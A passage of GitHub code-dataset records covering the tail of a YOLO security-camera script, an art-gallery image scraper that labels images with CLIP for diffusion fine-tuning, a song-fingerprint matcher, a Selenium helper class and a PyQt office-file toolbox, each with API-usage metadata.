output_img, video_name)\n send(FROM_ADDRESS, TO_ADDRESS, msg)\n\n if captureOn < tdatetime:\n detacted = False\n #if cv2.waitKey(1) & 0xFF == ord('q'):\n # break\n if os.path.isfile(STOPCMD):\n os.remove(STOPCMD)\n break\n yolo.close_session()\n f.close()\n \n", "repo_name": "Jeffrey-Jang/Yolo-security-camera", "sub_path": "yolo.py", "file_name": "yolo.py", "file_ext": "py", "file_size_in_byte": 12106, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 52, "usage_type": "call"}, {"api_name": "email.utils.formatdate", "line_number": 58, "usage_type": "call"}, {"api_name": "email.mime.image.MIMEImage", "line_number": 60, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 63, "usage_type": "call"}, {"api_name": "smtplib.SMTP", "line_number": 69, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 102, "usage_type": "call"}, {"api_name": "keras.backend.get_session", "line_number": 109, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 109, "usage_type": "name"}, {"api_name": "os.path.expanduser", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path", "line_number": 113, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path", "line_number": 120, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 124, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path", "line_number": 127, "usage_type": "attribute"}, {"api_name": "keras.models.load_model", "line_number": 135, "usage_type": "call"}, {"api_name": "yolo3.model.tiny_yolo_body", "line_number": 137, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 137, "usage_type": "call"}, {"api_name": "yolo3.model.yolo_body", "line_number": 138, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 138, "usage_type": "call"}, {"api_name": "colorsys.hsv_to_rgb", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 156, "usage_type": "attribute"}, {"api_name": "numpy.random.shuffle", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 157, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 158, "usage_type": "attribute"}, {"api_name": "keras.backend.placeholder", "line_number": 161, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 161, "usage_type": "name"}, {"api_name": "keras.utils.multi_gpu_model", "line_number": 163, "usage_type": "call"}, {"api_name": "yolo3.model.yolo_eval", "line_number": 164, "usage_type": "call"}, {"api_name": "yolo3.utils.letterbox_image", "line_number": 176, "usage_type": "call"}, {"api_name": "yolo3.utils.letterbox_image", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 185, "usage_type": "call"}, {"api_name": "keras.backend.learning_phase", "line_number": 192, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 192, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 199, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 199, "usage_type": "name"}, {"api_name": "numpy.floor", "line_number": 200, "usage_type": "call"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 211, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 211, "usage_type": "name"}, {"api_name": "numpy.floor", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 216, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 217, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 218, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 226, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 252, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 257, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 267, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 267, "usage_type": "name"}, {"api_name": "shutil.disk_usage", "line_number": 271, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 271, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 277, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 277, "usage_type": "name"}, {"api_name": "cv2.imwrite", "line_number": 282, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 284, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 284, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 286, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 288, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 288, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 296, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 299, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 299, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 300, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 309, "usage_type": "call"}, {"api_name": "os.path", "line_number": 309, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 310, "usage_type": "call"}]} {"seq_id": "17499533427", "text": "import os\nimport requests\nimport json\nfrom bs4 import BeautifulSoup\nimport os\nimport csv\nimport concurrent.futures\nimport argparse\nimport torch\nfrom PIL import Image\nfrom transformers import CLIPProcessor, CLIPModel\n\ndef get_CAD_image_data(show_path):\n \"\"\"\n Fetch and process image data from the Contemporary Art Daily website.\n\n Args:\n show_path (str): The URL to a gallery show on the CAD website.\n\n Returns:\n list: A list of dictionaries containing image URLs and associated text labels.\n \"\"\"\n try:\n image_data_list = []\n show_response = requests.get(show_path)\n show_response.raise_for_status()\n show_html = show_response.text\n show_soup = BeautifulSoup(show_html, \"html.parser\")\n show_data_dict = json.loads(show_soup.find('script', {'id': '__NEXT_DATA__'}).string)\n img_list = show_data_dict['props']['pageProps']['projectObject']['images']\n artist = show_data_dict['props']['pageProps']['projectObject']['caption_artist'][0]['title']\n for img in img_list:\n image_data = add_CLIP_labels({\"image\":img['large'],\"text\":artist.replace(\" \", \"-\")})\n image_data_list.append(image_data)\n return image_data_list\n except Exception as e:\n print(f\"Failed to download {show_path}: {e}\")\n\ndef get_TZVET_image_data(show_path):\n \"\"\"\n Fetch and process image data from the Tzvetnik website.\n\n Args:\n show_path (str): The URL to a gallery show on the Tzvetnik website.\n\n Returns:\n list: A list of dictionaries containing image URLs and associated text labels.\n \"\"\"\n try:\n image_data_list = []\n response = requests.get(show_path)\n response.raise_for_status()\n show_html = response.text\n show_soup = BeautifulSoup(show_html, \"html.parser\")\n div_tag = show_soup.find(\"div\", class_=\"article__tags article--show\")\n a_tags = div_tag.find_all('a')\n for a_tag in a_tags:\n if \"artist\" in a_tag.get(\"href\"):\n artist = a_tag.text.replace(\" \", \"-\")\n break\n action_texts = show_soup.find_all(\"action-text-attachment\")\n for action_text in action_texts:\n img_url = action_text.get(\"url\")\n image_data = add_CLIP_labels({\"image\":img_url, \"text\":artist})\n image_data_list.append(image_data)\n return image_data_list \n except Exception as e:\n print(f\"Failed to download {show_path}: {e}\")\n \ndef get_personal_image_data(show_path):\n \"\"\"\n Fetch and process personal image data from a given URL.\n\n Args:\n show_path (str): The URL to a personal gallery show.\n\n Returns:\n list: A list of dictionaries containing image file URLs and associated artist names.\n \"\"\"\n try:\n image_data_list = []\n artist = show_path.split('/')[-2]\n response = requests.get(show_path)\n response.raise_for_status()\n show_html = response.text\n show_soup = BeautifulSoup(show_html, \"html.parser\")\n a_tags = show_soup.find_all('a')\n for a_tag in a_tags:\n tag_href = a_tag.get('href')\n if \".jpg\" in tag_href:\n img_file = a_tag.text\n img_url = show_path+img_file\n image_data = {\"image\":img_url, \"text\":artist}\n image_data_list.append(image_data)\n \n return image_data_list\n\n except Exception as e:\n print(f\"Failed to download {show_path}: {e}\")\n\ndef add_CLIP_labels(image_data):\n \"\"\"\n Add labels to an image using the CLIP model for image classification.\n\n Args:\n image_data (dict): A dictionary with keys 'image' for the image URL, and 'text' for the associated text.\n\n Returns:\n dict: The updated dictionary with additional labels from the CLIP model.\n \"\"\"\n img_url = image_data['image']\n text = [image_data['text']]\n # Check if CUDA (GPU support) is available and set the device accordingly\n device = 'cuda' if torch.cuda.is_available() else 'cpu'\n \n # Initialize the model and processor\n model = CLIPModel.from_pretrained(\"openai/clip-vit-large-patch14\").to(device)\n processor = CLIPProcessor.from_pretrained(\"openai/clip-vit-large-patch14\")\n\n try:\n response = requests.get(img_url, stream=True)\n response.raise_for_status()\n image = Image.open(response.raw).convert(\"RGB\")\n\n labels = [\"gallery\", \"artwork\", \"room\", \"photograph\", \"painting\", \n \"sculpture\", \"detail\", \"close-up\", \"drawing\"]\n \n # Process inputs and move them to the device\n inputs = processor(text=labels, images=image, return_tensors=\"pt\", padding=True).to(device)\n \n # Perform inference\n outputs = model(**inputs)\n logits_per_image = outputs.logits_per_image\n \n # Move logits to CPU for further operations if necessary\n probs = logits_per_image.softmax(dim=1).squeeze().detach().cpu().numpy()\n probs = dict(zip(labels, probs))\n \n # Get top 2 labels\n top_2 = sorted(probs, key=probs.get, reverse=True)[:2]\n \n # Update the text with the top 2 labels\n text += top_2\n text = \", \".join(text)\n image_data['text'] = text\n \n return image_data\n except Exception as e:\n print(f\"An error occurred: {e}\")\n return image_data\n\ndef download_image(image_data, dataset_name, idx, art_only=None):\n \"\"\"\n Download an image and save it to a specified dataset directory.\n\n Args:\n image_data (dict): A dictionary containing 'image' and 'text' keys.\n dataset_name (str): The name of the dataset directory to save the image.\n idx (int): The index of the image, used to generate the filename.\n\n Returns:\n tuple: A tuple containing the filename and text label of the downloaded image.\n \"\"\"\n image_url = image_data['image']\n text = image_data['text']\n \n if art_only and (\"gallery\" in text or \"room\" in text):\n return None\n\n \n try:\n response = requests.get(image_url, stream=True)\n if response.status_code == 200:\n filename = f\"{idx}.jpg\"\n with open(f\"./datasets/{dataset_name}/{filename}\", 'wb') as file:\n for chunk in response.iter_content(8192):\n file.write(chunk)\n return (filename, text)\n\n except Exception as e:\n print(f\"An error occurred: {str(e)}\")\n return None\n\ndef download_images(image_data_list, dataset_name, art_only=None):\n \"\"\"\n Download multiple images and save their metadata to a CSV file.\n\n Args:\n image_data_list (list): A list of image data dictionaries to be downloaded.\n dataset_name (str): The name of the dataset directory to save images and metadata.\n\n \"\"\"\n os.makedirs(f\"./datasets/{dataset_name}\", exist_ok=True)\n metadata = [(\"file_name\", \"text\")]\n \n with concurrent.futures.ThreadPoolExecutor() as executor:\n futures = [executor.submit(download_image, image, dataset_name, idx, art_only) for idx, image in enumerate(image_data_list)]\n \n for future in concurrent.futures.as_completed(futures):\n result = future.result()\n if result:\n metadata.append(result)\n \n with open(f\"./datasets/{dataset_name}/metadata.csv\", \"w\") as csvfile:\n writer = csv.writer(csvfile)\n writer.writerows(metadata)\n\ndef build_dataset(input_file, art_only=None):\n \"\"\"\n Build an image dataset from a text file containing URLs to gallery shows.\n\n Args:\n input_file (str): The file path to a text file containing URLs.\n\n \"\"\"\n dataset_name = input_file.strip(\".txt\")\n img_data = [] \n with open(input_file) as f:\n for line in f.readlines():\n img_path = line.strip()\n if \"contemporaryartlibrary\" in line:\n show_data = get_CAD_image_data(img_path)\n img_data += show_data\n elif \"tzvetnik\" in line:\n show_data = get_TZVET_image_data(img_path)\n img_data += show_data\n elif \"web.engr.oregonstate\" in line:\n show_data = get_personal_image_data(img_path)\n img_data += show_data\n else:\n print(f\"This url is not supported: {line.strip()}\")\n if img_data:\n download_images(img_data, dataset_name, art_only)\n\ndef parse_arguments():\n \"\"\"\n Parse command line arguments for the image grabber script.\n\n Returns:\n Namespace: An argparse Namespace with command line arguments.\n \"\"\"\n description = \"***img_grabber.py*** This script is designed to take a file of urls to gallery exhibitions from specific websites and turn it into an ImageFolder type dataset to be used for Stable Diffusion finetuning.\\nCurrently supports these websites: - https://www.contemporaryartlibrary.org/ - https://tzvetnik.online/\"\n parser = argparse.ArgumentParser(description=description)\n parser.add_argument(\"--input_file\", \"-i\", help=\"Path to the input file. Must be a .txt file. The filename will be your dataset name as well. This file contains the full URLs to the shows desired.\")\n parser.add_argument(\"--art_only\", action=\"store_true\", help=\"Will not download any images labeled 'gallery' or 'room'\")\n return parser.parse_args()\n\ndef main():\n args = parse_arguments()\n input_file = args.input_file\n art_only = args.art_only\n build_dataset(input_file, art_only)\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "Chunt0/puttyU", "sub_path": "Diffusion/FineTuning/fake_gallery/utils/dataset_builder.py", "file_name": "dataset_builder.py", "file_ext": "py", "file_size_in_byte": 9539, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 25, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 28, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 29, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 51, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 54, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 83, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 114, "usage_type": "attribute"}, {"api_name": "transformers.CLIPModel.from_pretrained", "line_number": 117, "usage_type": "call"}, {"api_name": "transformers.CLIPModel", "line_number": 117, "usage_type": "name"}, {"api_name": "transformers.CLIPProcessor.from_pretrained", "line_number": 118, "usage_type": "call"}, {"api_name": "transformers.CLIPProcessor", "line_number": 118, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 121, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 123, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 123, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 172, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 193, "usage_type": "call"}, {"api_name": "concurrent.futures.futures.ThreadPoolExecutor", "line_number": 196, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 196, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 196, "usage_type": "name"}, {"api_name": "concurrent.futures.futures.as_completed", "line_number": 199, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 199, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 199, "usage_type": "name"}, {"api_name": "csv.writer", "line_number": 205, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 243, "usage_type": "call"}]} {"seq_id": "28306941918", "text": "from os import path\nfrom fingerprint import lib\nfrom fingerprint.query_by_fingerprint import query_by_fingerprint\nfrom util.sound_utils import music_to_array\nimport config\nimport pickle\nfrom os import listdir\nfrom os.path import isfile, join\n\n# init library\nsong_dir = path.join(config.ROOT_DIR, \"sounds\")\nsong_paths = [path.join(song_dir, f) for f in listdir(song_dir) if isfile(join(song_dir, f))]\n\nFROM_SAVED = False\n\nif FROM_SAVED:\n pickle_off = open(\"song_library.p\", \"rb\")\n library = pickle.load(pickle_off)\nelse:\n library = []\n for song_path in song_paths:\n signal, sample_rate = music_to_array(song_path)\n fingerprints = lib.generate_fingerprints(signal, sample_rate, n=100, origin=song_path, plot=True)\n\n for fingerprint in fingerprints:\n library.append(fingerprint)\n\n pickle.dump(library, open(\"song_library.p\", \"wb\"))\n\n# create query fingerprint\nquery_song_path = path.join(config.ROOT_DIR, \"query_sounds\", \"jack.min.wav\")\n\nsignal, sample_rate = music_to_array(query_song_path)\nquery_fingerprints = lib.generate_fingerprints(signal, sample_rate, n=20, origin=query_song_path)\n\n# find_matching_song\nmatching_song_origin = query_by_fingerprint(library, query_fingerprints)\n\nprint(matching_song_origin)\n\n\n", "repo_name": "ArturPrzybysz/SongRecognition", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1260, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "name"}, {"api_name": "config.ROOT_DIR", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 12, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 18, "usage_type": "call"}, {"api_name": "util.sound_utils.music_to_array", "line_number": 22, "usage_type": "call"}, {"api_name": "fingerprint.lib.generate_fingerprints", "line_number": 23, "usage_type": "call"}, {"api_name": "fingerprint.lib", "line_number": 23, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "name"}, {"api_name": "config.ROOT_DIR", "line_number": 31, "usage_type": "attribute"}, {"api_name": "util.sound_utils.music_to_array", "line_number": 33, "usage_type": "call"}, {"api_name": "fingerprint.lib.generate_fingerprints", "line_number": 34, "usage_type": "call"}, {"api_name": "fingerprint.lib", "line_number": 34, "usage_type": "name"}, {"api_name": "fingerprint.query_by_fingerprint.query_by_fingerprint", "line_number": 37, "usage_type": "call"}]} {"seq_id": "17662157379", "text": "\"\"\"Base class for selenium operation\"\"\"\nfrom selenium import webdriver\nfrom selenium.common.exceptions import WebDriverException\n\n\nclass SeleniumBase:\n \"\"\"Base class for selenium driver\"\"\"\n def __init__(self, browser=None):\n \"\"\"\n :param browser: for cain testing\n \"\"\"\n if browser is None:\n self.browser = webdriver.Firefox()\n else:\n self.browser = browser\n\n def visit_url(self, url: str):\n \"\"\"\n Visit a specific url\n :param url:\n \"\"\"\n try:\n self.browser.get(url)\n except WebDriverException:\n self.close_browser()\n\n raise\n\n def close_browser(self):\n \"\"\"\n Quit this browser instance\n \"\"\"\n self.browser.quit()\n", "repo_name": "zim0101/quiz_app_automation_test_with_python_selenium", "sub_path": "application/selenium_base.py", "file_name": "selenium_base.py", "file_ext": "py", "file_size_in_byte": 779, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "selenium.webdriver.Firefox", "line_number": 13, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 13, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.WebDriverException", "line_number": 24, "usage_type": "name"}]} {"seq_id": "43462867078", "text": "import json\nimport sys\n\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QWidget, QFileDialog, QMessageBox, QProgressBar\nfrom MainWindow import Ui_MainWindow\nfrom PdfMenu import Ui_PdfMenu\nfrom diffAssign import Ui_diffAssignForm\nfrom PdfMergeTool import PdfMergeTool\nfrom Office2Pdf import Ui_officeToPdfForm\nfrom excel2pdf import PDFConverter\nfrom DiffAssignTool import DiffAssignTool\nfrom PyQt5.QtCore import *\nfrom LaodingMessage import LoadingPop\n\n\nclass MainForm(QMainWindow, Ui_MainWindow):\n def __init__(self):\n super(MainForm, self).__init__()\n self.setupUi(self)\n self.pdfItem = PdfMenu()\n self.officeItem = Office2PDF()\n self.diffAssign = DiffAssign()\n\n self.fileOpenAction.triggered.connect(self.openMsg)\n self.appCloseAction.triggered.connect(self.close)\n self.pdfProcessAction.triggered.connect(self.openPdfMenu)\n self.office2PdfAction.triggered.connect(self.openOfficeMenu)\n self.diffAssignaction.triggered.connect(self.openDiffAssignMenu)\n\n def openMsg(self):\n file, ok = QFileDialog.getOpenFileName(self, \"打开\", \"C:/\", \"All Files (*);;Text Files(*.txt)\")\n self.statusbar.showMessage(file)\n\n def openPdfMenu(self):\n self.closeOther()\n self.Maingridlayout.addWidget(self.pdfItem)\n self.pdfItem.show()\n\n def openOfficeMenu(self):\n self.closeOther()\n self.Maingridlayout.addWidget(self.officeItem)\n self.officeItem.show()\n\n def openDiffAssignMenu(self):\n self.closeOther()\n self.Maingridlayout.addWidget(self.diffAssign)\n self.diffAssign.show()\n\n def closeOther(self):\n \"\"\"\n 删除其他的渲染的敞口\n :return:\n \"\"\"\n show_num = self.Maingridlayout.count()\n print(show_num)\n if show_num != 0:\n for i in range(show_num):\n self.Maingridlayout.itemAt(i).widget().close()\n\n\nclass PdfMenu(QWidget, Ui_PdfMenu):\n def __init__(self):\n super(PdfMenu, self).__init__()\n self.setupUi(self)\n self.mergePdfBtn.clicked.connect(self.merge_pdf)\n self.mergedistUnitNoBtn.clicked.connect(self.merge_unit_pdf)\n\n def merge_pdf(self):\n targetPath = QFileDialog.getExistingDirectory(self, \"选择合并的文件夹\", \"./\")\n if len(targetPath) == 0:\n QMessageBox.warning(self, \"提示\", \"必须选择需要合并的文件夹。\", QMessageBox.Yes | QMessageBox.No)\n return\n\n outPath = QFileDialog.getExistingDirectory(self, \"请选择合并后的文件位置\", \"./\")\n if len(outPath) == 0:\n QMessageBox.warning(self, \"提示\", \"请选择合并后的文件位置。\", QMessageBox.Yes | QMessageBox.No)\n return\n\n pdf_merge_tool = PdfMergeTool(targetPath, outPath)\n try:\n filepath = pdf_merge_tool.merge_pdf()\n QMessageBox.information(self, \"提示\",\n '恭喜马佳佳同学合并成功,输出的文件位于:' + filepath,\n QMessageBox.Yes | QMessageBox.No)\n except BaseException as e:\n QMessageBox.warning(self, \"失败\", \"处理失败。\" + e, QMessageBox.Yes | QMessageBox.No)\n return\n\n def merge_unit_pdf(self):\n targetPath = QFileDialog.getExistingDirectory(self, \"选择合并的文件夹\", \"./\")\n if len(targetPath) == 0:\n QMessageBox.warning(self, \"提示\", \"必须选择需要合并的文件夹。\", QMessageBox.Yes | QMessageBox.No)\n return\n\n outPath = QFileDialog.getExistingDirectory(self, \"请选择合并后的文件位置\", \"./\")\n if len(outPath) == 0:\n QMessageBox.warning(self, \"提示\", \"请选择合并后的文件位置。\", QMessageBox.Yes | QMessageBox.No)\n return\n\n pdf_merge_tool = PdfMergeTool(targetPath, outPath)\n try:\n count, error_list = pdf_merge_tool.merge_unit_pdf()\n QMessageBox.information(self, \"提示\",\n '恭喜马佳佳同学合并成功，共成功合并{}个单元,失败的单元如下：{}'.format(count, json.dumps(error_list)),\n QMessageBox.Yes | QMessageBox.No)\n\n\n except BaseException as e:\n QMessageBox.warning(self, \"失败\", \"处理失败。\" + str(e), QMessageBox.Yes | QMessageBox.No)\n return\n\n\nclass Office2PDF(QWidget, Ui_officeToPdfForm):\n def __init__(self):\n super(Office2PDF, self).__init__()\n self.setupUi(self)\n self.excel2PdfBtn.clicked.connect(self.excel_to_pdf)\n self.word2PdfBtn.clicked.connect(self.word_to_pdf)\n self.ppt2PdfBtn.clicked.connect(self.ppt_to_pdf)\n\n def open_bar(self, num):\n self.bar = QProgressBar(self)\n self.bar.maximum(num)\n\n def excel_to_pdf(self):\n targetPath = QFileDialog.getExistingDirectory(self, \"选择合并的文件夹\", \"./\")\n if len(targetPath) == 0:\n QMessageBox.warning(self, \"提示\", \"必须选择需要合并的文件夹。\", QMessageBox.Yes | QMessageBox.No)\n return\n\n outPath = QFileDialog.getExistingDirectory(self, \"请选择合并后的文件位置\", \"./\")\n converter = PDFConverter(pathname=targetPath, postfix=['xls', 'xlsx'], outpath=outPath)\n try:\n file_list = converter.filename_list\n converter.run_excel_conver()\n QMessageBox.information(self, \"提示\",\n '恭喜马佳佳同学处理成功 ^_^',\n QMessageBox.Yes | QMessageBox.No)\n except BaseException as e:\n QMessageBox.warning(self, \"失败\", \"处理失败。\" + str(e), QMessageBox.Yes | QMessageBox.No)\n\n def word_to_pdf(self):\n targetPath = QFileDialog.getExistingDirectory(self, \"选择合并的文件夹\", \"./\")\n if len(targetPath) == 0:\n QMessageBox.warning(self, \"提示\", \"必须选择需要合并的文件夹。\", QMessageBox.Yes | QMessageBox.No)\n return\n\n outPath = QFileDialog.getExistingDirectory(self, \"请选择合并后的文件位置,不选择的话默认程序执行下的pdfconver文件中\", \"./\")\n converter = PDFConverter(pathname=targetPath, postfix=['doc', 'docx'], outpath=outPath)\n try:\n converter.run_word_conver()\n QMessageBox.information(self, \"提示\",\n '恭喜马佳佳同学处理成功 ^_^',\n QMessageBox.Yes | QMessageBox.No)\n except BaseException as e:\n QMessageBox.warning(self, \"失败\", \"处理失败。\" + str(e), QMessageBox.Yes | QMessageBox.No)\n\n def ppt_to_pdf(self):\n targetPath = QFileDialog.getExistingDirectory(self, \"选择合并的文件夹\", \"./\")\n if len(targetPath) == 0:\n QMessageBox.warning(self, \"提示\", \"必须选择需要合并的文件夹。\", QMessageBox.Yes | QMessageBox.No)\n return\n\n outPath = QFileDialog.getExistingDirectory(self, \"请选择合并后的文件位置,不选择的话默认程序执行下的pdfconver文件中\", \"./\")\n converter = PDFConverter(pathname=targetPath, postfix=['ppt', 'pptx'], outpath=outPath)\n try:\n converter.run_ppt_conver()\n QMessageBox.information(self, \"提示\",\n '恭喜马佳佳同学处理成功 ^_^',\n QMessageBox.Yes | QMessageBox.No)\n except BaseException as e:\n QMessageBox.warning(self, \"失败\", \"处理失败。\" + str(e), QMessageBox.Yes | QMessageBox.No)\n\n\nclass DiffAssign(QWidget, Ui_diffAssignForm):\n def __init__(self):\n super(DiffAssign, self).__init__()\n self.loading = LoadingPop()\n self.setupUi(self)\n self.fileSelectorBtn.clicked.connect(self.selectProcessFile)\n self.fileOutPathBtn.clicked.connect(self.selectOutPath)\n self.pushButton.clicked.connect(self.process)\n\n def selectProcessFile(self):\n file, ok = QFileDialog.getOpenFileName(self, \"选择需要处理的excel文件\", \"./\", 'EXCEL文件(*.xls);EXCEL文件(*.xlsx)')\n self.fileShowInput.append(file)\n\n def selectOutPath(self):\n outPath = QFileDialog.getExistingDirectory(self, \"不选择的话默认程序执行下的diff文件中\", \"./\")\n self.outPathInput.setText(outPath)\n\n def showSuccess(self,message):\n self.loading.close()\n QMessageBox.information(self, \"提示\",\n '恭喜马佳佳同学处理成功 ^_^',\n QMessageBox.Yes | QMessageBox.No)\n\n def showError(self,message):\n self.loading.close()\n QMessageBox.warning(self, \"失败\", \"处理失败啦。\" + message, QMessageBox.Yes | QMessageBox.No)\n\n def process(self):\n\n inputFilePath = self.fileShowInput.toPlainText()\n outpath = self.outPathInput.toPlainText()\n num = self.groupNumInput.toPlainText()\n decimal_place = self.decimalPlaceInput.toPlainText()\n if len(decimal_place) == 0:\n QMessageBox.warning(self, \"提示\", \"要输入分配的小数位数哦。\", QMessageBox.Yes | QMessageBox.No)\n return\n if len(num) == 0:\n QMessageBox.warning(self, \"提示\", \"要输入分组的位数哦。\", QMessageBox.Yes | QMessageBox.No)\n\n\n # tool = DiffAssignTool(inputFilePath, outpath, num)\n # tool.create_file()\n self.loading = LoadingPop()\n self.loading.show()\n self.thread_1 = Work(inputFilePath, outpath, num, decimal_place)\n self.thread_1.messageTxtValue.connect(self.loading.set_message)\n self.thread_1.showSuccess.connect(self.showSuccess)\n self.thread_1.showError.connect(self.showError)\n self.thread_1.start()\n\n\n\n\n\nclass Work(QThread):\n messageTxtValue = pyqtSignal(str)\n showSuccess = pyqtSignal(str)\n showError = pyqtSignal(str)\n\n def __init__(self, inputFilePath, outpath, num, decimal_place):\n super(Work, self).__init__()\n self.inputFilePath = inputFilePath\n self.outpath = outpath\n self.num = num\n self.decimal_place = decimal_place\n\n def run(self):\n self.messageTxtValue.emit('开始读取excel文件')\n try:\n tool = DiffAssignTool(self.inputFilePath, self.outpath, self.num, self.messageTxtValue, self.decimal_place)\n tool.create_file()\n self.showSuccess.emit('成功啦')\n\n except BaseException as e:\n self.showError.emit(str(e))\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n win = MainForm()\n win.show()\n sys.exit(app.exec_())\n", "repo_name": "jicklin/toolBox", "sub_path": "Main.py", "file_name": "Main.py", "file_ext": "py", "file_size_in_byte": 10763, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 16, "usage_type": "name"}, {"api_name": "MainWindow.Ui_MainWindow", "line_number": 16, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 31, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 31, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 61, "usage_type": "name"}, {"api_name": "PdfMenu.Ui_PdfMenu", "line_number": 61, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 69, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 69, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 71, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 71, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 71, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 71, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 74, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 74, "usage_type": "name"}, {"api_name": 